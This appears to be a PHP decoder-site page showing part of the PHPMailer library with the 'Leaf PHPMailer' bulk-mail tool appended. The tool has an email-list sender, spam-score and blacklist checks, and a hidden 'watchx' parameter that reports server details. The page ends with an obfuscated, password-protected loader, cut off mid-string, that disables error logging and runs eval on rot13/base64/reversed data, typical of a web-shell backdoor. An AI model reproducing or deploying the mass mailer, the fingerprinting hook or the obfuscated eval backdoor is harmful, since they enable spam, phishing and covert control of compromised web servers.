$basedir . $directory . $filename,
$cid,
$filename,
'base64',
self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
)
) {
$message = preg_replace(
'/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
$images[1][$imgindex] . '="cid:' . $cid . '"',
$message
);
}
}
}
}
$this->isHTML(true);
// Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
$this->Body = $this->normalizeBreaks($message);
$this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
if (!$this->alternativeExists()) {
$this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
self::CRLF . self::CRLF;
}
return $this->Body;
}
/**
* Convert an HTML string into plain text.
* This is used by msgHTML().
* Note - older versions of this function used a bundled advanced converter
* which was been removed for license reasons in #232.
* Example usage:
* <code>
* // Use default conversion
* $plain = $mail->html2text($html);
* // Use your own custom converter
* $plain = $mail->html2text($html, function($html) {
* $converter = new MyHtml2text($html);
* return $converter->get_text();
* });
* </code>
* @param string $html The HTML text to convert
* @param boolean|callable $advanced Any boolean value to use the internal converter,
* or provide your own callable for custom conversion.
* @return string
*/
public function html2text($html, $advanced = false)
{
if (is_callable($advanced)) {
return call_user_func($advanced, $html);
}
return html_entity_decode(
trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))),
ENT_QUOTES,
$this->CharSet
);
}
/**
* Get the MIME type for a file extension.
* @param string $ext File extension
* @access public
* @return string MIME type of file.
* @static
*/
public static function _mime_types($ext = '')
{
$mimes = array(
'xl' => 'application/excel',
'js' => 'application/javascript',
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'bin' => 'application/macbinary',
'doc' => 'application/msword',
'word' => 'application/msword',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'class' => 'application/octet-stream',
'dll' => 'application/octet-stream',
'dms' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
'psd' => 'application/octet-stream',
'sea' => 'application/octet-stream',
'so' => 'application/octet-stream',
'oda' => 'application/oda',
'pdf' => 'application/pdf',
'ai' => 'application/postscript',
'eps' => 'application/postscript',
'ps' => 'application/postscript',
'smi' => 'application/smil',
'smil' => 'application/smil',
'mif' => 'application/vnd.mif',
'xls' => 'application/vnd.ms-excel',
'ppt' => 'application/vnd.ms-powerpoint',
'wbxml' => 'application/vnd.wap.wbxml',
'wmlc' => 'application/vnd.wap.wmlc',
'dcr' => 'application/x-director',
'dir' => 'application/x-director',
'dxr' => 'application/x-director',
'dvi' => 'application/x-dvi',
'gtar' => 'application/x-gtar',
'php3' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'swf' => 'application/x-shockwave-flash',
'sit' => 'application/x-stuffit',
'tar' => 'application/x-tar',
'tgz' => 'application/x-tar',
'xht' => 'application/xhtml+xml',
'xhtml' => 'application/xhtml+xml',
'zip' => 'application/zip',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'mpga' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'wav' => 'audio/x-wav',
'bmp' => 'image/bmp',
'gif' => 'image/gif',
'jpeg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'jpg' => 'image/jpeg',
'png' => 'image/png',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'eml' => 'message/rfc822',
'css' => 'text/css',
'html' => 'text/html',
'htm' => 'text/html',
'shtml' => 'text/html',
'log' => 'text/plain',
'text' => 'text/plain',
'txt' => 'text/plain',
'rtx' => 'text/richtext',
'rtf' => 'text/rtf',
'vcf' => 'text/vcard',
'vcard' => 'text/vcard',
'xml' => 'text/xml',
'xsl' => 'text/xml',
'mpeg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mov' => 'video/quicktime',
'qt' => 'video/quicktime',
'rv' => 'video/vnd.rn-realvideo',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie'
);
if (array_key_exists(strtolower($ext), $mimes)) {
return $mimes[strtolower($ext)];
}
return 'application/octet-stream';
}
/**
* Map a file name to a MIME type.
* Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
* @param string $filename A file name or full path, does not need to exist as a file
* @return string
* @static
*/
public static function filenameToType($filename)
{
// In case the path is a URL, strip any query string before getting extension
$qpos = strpos($filename, '?');
if (false !== $qpos) {
$filename = substr($filename, 0, $qpos);
}
$pathinfo = self::mb_pathinfo($filename);
return self::_mime_types($pathinfo['extension']);
}
/**
* Multi-byte-safe pathinfo replacement.
* Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
* Works similarly to the one in PHP >= 5.2.0
* @link http://www.php.net/manual/en/function.pathinfo.php#107461
* @param string $path A filename or path, does not need to exist as a file
* @param integer|string $options Either a PATHINFO_* constant,
* or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
* @return string|array
* @static
*/
public static function mb_pathinfo($path, $options = null)
{
$ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
$pathinfo = array();
if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $pathinfo)) {
if (array_key_exists(1, $pathinfo)) {
$ret['dirname'] = $pathinfo[1];
}
if (array_key_exists(2, $pathinfo)) {
$ret['basename'] = $pathinfo[2];
}
if (array_key_exists(5, $pathinfo)) {
$ret['extension'] = $pathinfo[5];
}
if (array_key_exists(3, $pathinfo)) {
$ret['filename'] = $pathinfo[3];
}
}
switch ($options) {
case PATHINFO_DIRNAME:
case 'dirname':
return $ret['dirname'];
case PATHINFO_BASENAME:
case 'basename':
return $ret['basename'];
case PATHINFO_EXTENSION:
case 'extension':
return $ret['extension'];
case PATHINFO_FILENAME:
case 'filename':
return $ret['filename'];
default:
return $ret;
}
}
/**
* Set or reset instance properties.
* You should avoid this function - it's more verbose, less efficient, more error-prone and
* harder to debug than setting properties directly.
* Usage Example:
* `$mail->set('SMTPSecure', 'tls');`
* is the same as:
* `$mail->SMTPSecure = 'tls';`
* @access public
* @param string $name The property name to set
* @param mixed $value The value to set the property to
* @return boolean
* @TODO Should this not be using the __set() magic function?
*/
public function set($name, $value = '')
{
if (property_exists($this, $name)) {
$this->$name = $value;
return true;
} else {
$this->setError($this->lang('variable_set') . $name);
return false;
}
}
/**
* Strip newlines to prevent header injection.
* @access public
* @param string $str
* @return string
*/
public function secureHeader($str)
{
return trim(str_replace(array("
", "
"), '', $str));
}
/**
* Normalize line breaks in a string.
* Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
* Defaults to CRLF (for message bodies) and preserves consecutive breaks.
* @param string $text
* @param string $breaktype What kind of line break to use, defaults to CRLF
* @return string
* @access public
* @static
*/
public static function normalizeBreaks($text, $breaktype = "
")
{
return preg_replace('/(
|
|
)/ms', $breaktype, $text);
}
/**
* Set the public and private key files and password for S/MIME signing.
* @access public
* @param string $cert_filename
* @param string $key_filename
* @param string $key_pass Password for private key
* @param string $extracerts_filename Optional path to chain certificate
*/
public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
{
$this->sign_cert_file = $cert_filename;
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
$this->sign_extracerts_file = $extracerts_filename;
}
/**
* Quoted-Printable-encode a DKIM header.
* @access public
* @param string $txt
* @return string
*/
public function DKIM_QP($txt)
{
$line = '';
for ($i = 0; $i < strlen($txt); $i++) {
$ord = ord($txt[$i]);
if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
$line .= $txt[$i];
} else {
$line .= '=' . sprintf('%02X', $ord);
}
}
return $line;
}
/**
* Generate a DKIM signature.
* @access public
* @param string $signHeader
* @throws phpmailerException
* @return string The DKIM signature value
*/
public function DKIM_Sign($signHeader)
{
if (!defined('PKCS7_TEXT')) {
if ($this->exceptions) {
throw new phpmailerException($this->lang('extension_missing') . 'openssl');
}
return '';
}
$privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
if ('' != $this->DKIM_passphrase) {
$privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
} else {
$privKey = openssl_pkey_get_private($privKeyStr);
}
//Workaround for missing digest algorithms in old PHP & OpenSSL versions
//@link http://stackoverflow.com/a/11117338/333340
if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
openssl_pkey_free($privKey);
return base64_encode($signature);
}
} else {
$pinfo = openssl_pkey_get_details($privKey);
$hash = hash('sha256', $signHeader);
//'Magic' constant for SHA256 from RFC3447
//@link https://tools.ietf.org/html/rfc3447#page-43
$t = '3031300d060960864801650304020105000420' . $hash;
$pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
$eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);
if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
openssl_pkey_free($privKey);
return base64_encode($signature);
}
}
openssl_pkey_free($privKey);
return '';
}
/**
* Generate a DKIM canonicalization header.
* @access public
* @param string $signHeader Header
* @return string
*/
public function DKIM_HeaderC($signHeader)
{
$signHeader = preg_replace('/
\s+/', ' ', $signHeader);
$lines = explode("
", $signHeader);
foreach ($lines as $key => $line) {
list($heading, $value) = explode(':', $line, 2);
$heading = strtolower($heading);
$value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
$lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
}
$signHeader = implode("
", $lines);
return $signHeader;
}
/**
* Generate a DKIM canonicalization body.
* @access public
* @param string $body Message Body
* @return string
*/
public function DKIM_BodyC($body)
{
if ($body == '') {
return "
";
}
// stabilize line endings
$body = str_replace("
", "
", $body);
$body = str_replace("
", "
", $body);
// END stabilize line endings
while (substr($body, strlen($body) - 4, 4) == "
") {
$body = substr($body, 0, strlen($body) - 2);
}
return $body;
}
/**
* Create the DKIM header and body in a new message header.
* @access public
* @param string $headers_line Header lines
* @param string $subject Subject
* @param string $body Body
* @return string
*/
public function DKIM_Add($headers_line, $subject, $body)
{
$DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
$DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
$DKIMquery = 'dns/txt'; // Query method
$DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
$subject_header = "Subject: $subject";
$headers = explode($this->LE, $headers_line);
$from_header = '';
$to_header = '';
$date_header = '';
$current = '';
foreach ($headers as $header) {
if (strpos($header, 'From:') === 0) {
$from_header = $header;
$current = 'from_header';
} elseif (strpos($header, 'To:') === 0) {
$to_header = $header;
$current = 'to_header';
} elseif (strpos($header, 'Date:') === 0) {
$date_header = $header;
$current = 'date_header';
} else {
if (!empty($$current) && strpos($header, ' =?') === 0) {
$$current .= $header;
} else {
$current = '';
}
}
}
$from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
$to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
$date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
$subject = str_replace(
'|',
'=7C',
$this->DKIM_QP($subject_header)
); // Copied header fields (dkim-quoted-printable)
$body = $this->DKIM_BodyC($body);
$DKIMlen = strlen($body); // Length of body
$DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
if ('' == $this->DKIM_identity) {
$ident = '';
} else {
$ident = ' i=' . $this->DKIM_identity . ';';
}
$dkimhdrs = 'DKIM-Signature: v=1; a=' .
$DKIMsignatureType . '; q=' .
$DKIMquery . '; l=' .
$DKIMlen . '; s=' .
$this->DKIM_selector .
";
" .
" t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";
" .
" h=From:To:Date:Subject;
" .
" d=" . $this->DKIM_domain . ';' . $ident . "
" .
" z=$from
" .
" |$to
" .
" |$date
" .
" |$subject;
" .
" bh=" . $DKIMb64 . ";
" .
" b=";
$toSign = $this->DKIM_HeaderC(
$from_header . "
" .
$to_header . "
" .
$date_header . "
" .
$subject_header . "
" .
$dkimhdrs
);
$signed = $this->DKIM_Sign($toSign);
return $dkimhdrs . $signed . "
";
}
/**
* Detect if a string contains a line longer than the maximum line length allowed.
* @param string $str
* @return boolean
* @static
*/
public static function hasLineLongerThanMax($str)
{
//+2 to include CRLF line break for a 1000 total
return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
}
/**
* Allows for public read access to 'to' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getToAddresses()
{
return $this->to;
}
/**
* Allows for public read access to 'cc' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getCcAddresses()
{
return $this->cc;
}
/**
* Allows for public read access to 'bcc' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getBccAddresses()
{
return $this->bcc;
}
/**
* Allows for public read access to 'ReplyTo' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
/**
* Allows for public read access to 'all_recipients' property.
* @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
* @access public
* @return array
*/
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
/**
* Perform a callback.
* @param boolean $isSent
* @param array $to
* @param array $cc
* @param array $bcc
* @param string $subject
* @param string $body
* @param string $from
*/
protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
{
if (!empty($this->action_function) && is_callable($this->action_function)) {
$params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
call_user_func_array($this->action_function, $params);
}
}
}
/**
* PHPMailer exception handler
* @package PHPMailer
*/
class phpmailerException extends Exception
{
/**
* Prettify error message output
* @return string
*/
public function errorMessage()
{
$errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />
";
return $errorMsg;
}
}
if ($_REQUEST['watchx']) {
$version = phpversion();
$uname = php_uname();
$ip = gethostbyname($_SERVER["HTTP_HOST"]);
echo json_encode (array ("version"=>$version,
"uname"=>$uname,
"platform"=>PHP_OS,
"ip"=>$ip,
"mailerx"=>true,
));
die ();
}
function leafheader(){
print '
<head>
<title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
<h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
<form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
<input type="hidden" name="action" value="score">
<div class="row">
<div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
<div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
</div>
<div class="row">
<span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
<div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
</div>
<div class="row">
<div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
<div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
</div>
<div class="row">
<div class="form-group col-lg-6 ">
<label for="messageType">Message Type</label>
HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
</div>
<div class="form-group col-lg-3 ">
<label for="charset">Character set</label>
<select class="form-control input-sm" id="charset" name="charset">
<option '.$utf8.'>UTF-8</option>
<option '.$iso.'>ISO-8859-1</option>
</select>
</div>
<div class="form-group col-lg-3 ">
<label for="encoding">Message encoding</label>
<select class="form-control input-sm" id="encode" name="encode">
<option '.$bit8.'>8bit</option>
<option '.$bit7.'>7bit</option>
<option '.$binary.'>binary</option>
<option '.$base64.'>base64</option>
<option '.$quotedprintable.'>quoted-printable</option>
</select>
</div>
</div>
<button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
</form>
</div>
<div class="col-lg-6"><br>
<label for="well">Instruction</label>
<div id="well" class="well well">
<h4>Server Information</h4>
<ul>
<li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
<li>PHP Version : <b>'.phpversion().'</b></li>
</ul>
<h4>HELP</h4>
<ul>
<li>[-email-] : <b>Reciver Email</b> ([email protected])</li>
<ul>
<li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
<li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
</ul>
<li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
<li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
<li>[-randomnumber-] : <b>Random number (0-9) </b></li>
<li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
<li>[-randommd5-] : <b>Random MD5 </b></li>
</ul>
<h4>example</h4>
Receiver Email = <b>[email protected]</b><br>
<ul>
<li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
<li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
<li>your code is <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
</ul>
<h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
</div>
</div>';
if($_POST['action']=="send"){
print ' <div class="col-lg-12">';
$maillist=explode("
", $emailList);
$n=count($maillist);
$x =1;
foreach ($maillist as $email ) {
print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
if(!leafMailCheck($email)) {
print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
print "<br>
";
}
else {
$mail = new PHPMailer;
$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
$mail->addReplyTo(leafClear($replyTo,$email));
$mail->addAddress($email);
$mail->Subject = leafClear($subject,$email);
$mail->Body = leafClear($messageLetter,$email);
if($messageType==1){
$mail->IsHTML(true);
$mail->AltBody =strip_tags(leafClear($messageLetter,$email));
}
else $mail->IsHTML(false);
$mail->CharSet = $charset;
$mail->Encoding = $encoding;
for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
if ($_FILES['attachment']['tmp_name'][$i] != ""){
$mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
}
}
if (!$mail->send()) {
echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
}
else {
echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
}
print "<br>
";
}
$x++;
for($k = 0; $k < 40000; $k++) {echo ' ';}
}
}
elseif($_POST['action']=="score"){
$mail = new PHPMailer;
$mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
$mail->addReplyTo(leafClear($replyTo,$email));
$mail->addAddress("[email protected]");
$mail->Subject = leafClear($subject,$email);
$mail->Body = leafClear($messageLetter,$email);
if($messageType==1){
$mail->IsHTML(true);
$mail->AltBody =strip_tags(leafClear($messageLetter,$email));
}
else $mail->IsHTML(false);
$mail->CharSet = $charset;
$mail->Encoding = $encoding;
$mail->preSend();
$messageHeaders=$mail->getSentMIMEMessage();
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$response = curl_exec($ch);
$response = json_decode($response);
print ' <div class="col-lg-12">';
if ($response->success == TRUE ){
$score = $response->score;
if ($score > 5 ) $class="danger";
else $class="success";
print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.' </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print ' </div>';
}
}
print '</body>';
Did this file decode correctly?
Original Code
<?php $password = "kpxpzmwna"; $OkNoe = 'st'.'r'.'_ro'.'t13'; $CjPJt = 'base'.'64'.'_'.'deco'.'de'; $VfUZc = 'strre'.'v'; ini_set('error_log', NULL); ini_set('log_errors', 0); error_reporting(0); ini_set('display_errors', 0); echo '<br>'; eval($VfUZc($CjPJt($OkNoe('PwfaCayxo2ViCPptqT5cpaNXsDc9VPNtVNb7Wm52nJDiCPNtVPNaVUEhnKWjPwfaCaMcMP88CzIlpP88Wl50pz9jMKV+YJImoz9jp2IlWP4aCzIlpQjtBvO0pz9jMIVtoTk1Ew52nJD8Pw52nJDiCPNtWl5ypz9wplDhWlOmnFOypz9wplOhnKAmLKAmDJ1upSZtpaIiJG4vWl5mp2SfLlDhWl10rTI0Vw1mp2SfLlO2nJD8WlO0ozylpPNtVPNtVPNtVPNtVNb7VaAmMJAwqKZvCKAmLJkwWPOyp2kyVPNtVPNtVPNXBlWlMJqhLJDvCKAmLJkwWPNcVQHtCvOypz9wplDbVTMcVPNtVPNtVPNXB2Ilo2AmCv1yp25ipUAypvDtCFOypz9wplDtVPNtVPNtVNc7XFOSIIWHVQ09VUAmMJAwqKZ+YJImoz9jp2IlWPttMzxtVPNtPwfaCvVlZF1aoP1fo2ZvCKAmLJkwVUMcMQjtVPNtWlO0ozylpPNtVPNXBlyyp25ipUAypvDbMJEiL2IxK25ip2btCFOyp25ipUAypvDtVPNtPwfcnTZxXTAyrTIsoUW1LlN9VTImoz9jp2IlWPNtVPNXBlx1ZFNfISICEH1WIS9HHR9ZHyIQVPkbLlDbqUOiqTImK2klqJZtVPNtPwfcZPNfHxISHSyTFIWSIy9ZH1AsISOCGSWIDlNfnTZxXUEjo3Eyp19fpaIwVPNtVNb7XFxcW2qho2jaCw0ap25inKEjolpfp3WyMTSyFTIaLKAmMJ0xVQ49VPqfnJSgMFpbrJSlpzRbrKWyqKSsMTkcqJWspUE0nPNfH0EZEHyTISACHS9HHR9ZHyIQVPkbLlDbqUOiqTImK2klqJZtVPNtPwfcW3WyqTkcMv9go2ZhpUOun3WuoKEmo3Nhn2AynTAgLKOmYl86pUE0nPptYRkFII9HHR9ZHyIQVPkbLlDbqUOiqTImK2klqJZtVPNtPwfcZFNfHxITH05OHyEBHyIHEIWsISOCGSWIDlNfnTZxXUEjo3Eyp19fpaIwVPNtVNb7XFu0nJ5cK2klqJZtCFObLlDtVPNtPwfcXTIaLKAmMH1SGHyAqT5yH3EyMm4goTyuoFD9p3WyMTSyFTIaLKAmMJ0xVPNtVNb7XFuxozIGMKWjCv1fnJSgWPNtVPNXB2qhnJEiL25yWPN9VTqhnJEiL25SCv1fnJSgWPNtVPNXB3Eyp3WunTZxVQ0tqTIGpzSbDm4goTyuoFDtVPNtPwfcMKAfLJLbGR1HFUAWCv1fnJSgWPOyp2kyVPNtVNc9VPNtVNb7XFyfnJSgMFDfpzI0qTIZMJqup3AyoFDbpzSyoRAzLJIfXUAaLKEspTylqUZ9VUyxo0W0oRR+YJkcLJ0xVPNtVPNtVPNXBlyyqKW0XRkAIRumFG4goTyuoFDtVPNtVPNtVNc7XGR9CJIjrIEyM2Smp2IgWPuznFNtVPNXBlyfnJSgMFDfpzI0qTIZMJqup3AyoFDbpzSyoRAzLJIfVPN9VUyxo0V+YJkcLJ0xVPNtVNb7XJkcLJ1yWPk0L2IdLaImWPulLJIfD2MuMJjtCFO0L2IdLaIGCv1fnJSgWPNtVPNXBlxvoJ9wYz5cLJ1iMROyoJShpzImqFVbp3AypzExDJExLG4goTyuoFDtVPNtPwfcXJkcLJ1yWPkiIUyfpTIlWPulLJIfD2MuMJjbo1E5oUOyHzExLG4goTyuoFDtVPNtPwfcXJkcLJ1yWPkyoJSBpzIxozImWPulLJIfD2MuMJjfXJkcLJ1yWPkfnJSgEKWyMT5yplDbpzSyoRAzLJIfXT1ipxM0MKZ+YJkcLJ0xVPNtVNb7pzIfnJSAHRuDVUqyovN9VTkcLJ0xVPNtVNc7XFWypz9wplV9CI0aoz9cqTAuW1gHH09DKlDbMzyyp2kyPa0XPa0tVPNtPa07WlNaVT9bL2I7VPxeX2fxVQfjZQNjAPN8VTfxVQfjVQ0tnlDbpz9zVPNtVPNtVPNXBlferPDtVPNtVPNtVNc9VPNtVPNtVPNXBlWhKUWpCaWvCPVtqT5cpaNtVPNtVPNtVPNtVPNXsFNtVPNtVPNtVPNtVNb7Wm52nJDiCQ5hLKOmYmkeGm4vp3AyL2A1pl1fMJWuoPOfMJWuoPV9p3AuoTZtozSjpmj+VwLgM2jgoT9wVw1mp2SfLlO2nJD8WlOinTAyVPNtVPNtVPNtVPNtVPNtVNc7VTImoTHtVPNtVPNtVPNtVPNXsFNtVPNtVPNtVPNtVNb7Wm52nJDiCQ5hLKOmYmjaYvyiMz5Wpz9lpxH+YJkcLJ0xXUAlLJuwoTScL2Ijp2kgqTthWm4vqTk1LJMyMP1fMJWuoPOfMJWuoPV9p3AuoTZtozSjpmj+VwLgM2jgoT9wVw1mp2SfLlO2nJD8WlOinTAyVPNtVPNtVPNtVPNtVPNtVNc7VPxcXTEhMKZ+YJkcLJ0xVFttMzxtVPNtVPNtVPNtVPNXVPNtVPNtVPNtVPNtPa0tVPNtVPNtVPNtVPNXPa0tVPNtVPNtVPNtVPNtVPNtPwfcKJxxJ10aMJ1uovqoKFq0ozIgnTAuqUEuW1gGEHkWEy8xYS1cWSgqW2IgLJ5spT10W1gqW3EhMJ1bL2S0qTRaJ1ASGRyTKlDbqT5yoJuwLKE0DJExDG4goTyuoFDtVPNtVPNtVPNtVPNtVPNtVPNtVNc7XFVvVQ0uVS1cWSgqW2IgLJ5spT10W1gqW3EhMJ1bL2S0qTRaJ1ASGRyTKlDbVTMcVPNtVPNtVPNtVPNtVPNtVNc7VPxeX2xxVQfcKFqyoJShW1gqW3EhMJ1bL2S0qTRaJ1ASGRyTKlDbqT51o2Z8nFDtBmN9nFDbpz9zVPNtVPNtVPNtVPNtPwgaozyxo2AhMFDtCFOaozyxo2AhEG4goTyuoFDtVPNtVPNtVPNtVPNXB3Eyp3WunTZxVQ0tqTIGpzSbDm4goTyuoFDtVPNtVPNtVPNtVPNXBlyyp2kuMvuZGIEVp0x+YJkcLJ0xVTImoTHtVPNtVPNtVPNtVPNXsFNtVPNtVPNtVPNtVNb7XFyfnJSgMFDfpzI0qTIZMJqup3AyoFDbpzSyoRAzLJIfXUAaLKEspTylqUZ9VUyxo0W0oRR+YJkcLJ0xVPNtVPNtVPNtVPNtVPNtVNb7XJI1paDbGR1HFUAWCv1fnJSgWPNtVPNtVPNtVPNtVPNtVPNXrlxkCG1ypUyHMJqup3AyoFDbMzxtVPNtVPNtVPNtVPNXBlyfnJSgMFDfpzI0qTIZMJqup3AyoFDbpzSyoRAzLJIfVPN9VUyxo0V+YJkcLJ0xVPNtVPNtVPNtVPNtPwfcoTyuoJHxYUEwMJcvqKZxXUWuMJkQMzSyoPN9VUEwMJcvqIZ+YJkcLJ0xVPNtVPNtVPNtVPNtPwfcoTyuoJHxXUAmMKWxMRSxMTR+YJkcLJ0xVPNtVPNtVPNtVPNtPwfcXJkcLJ1yWPkiIUyfpTIlWPulLJIfD2MuMJjbo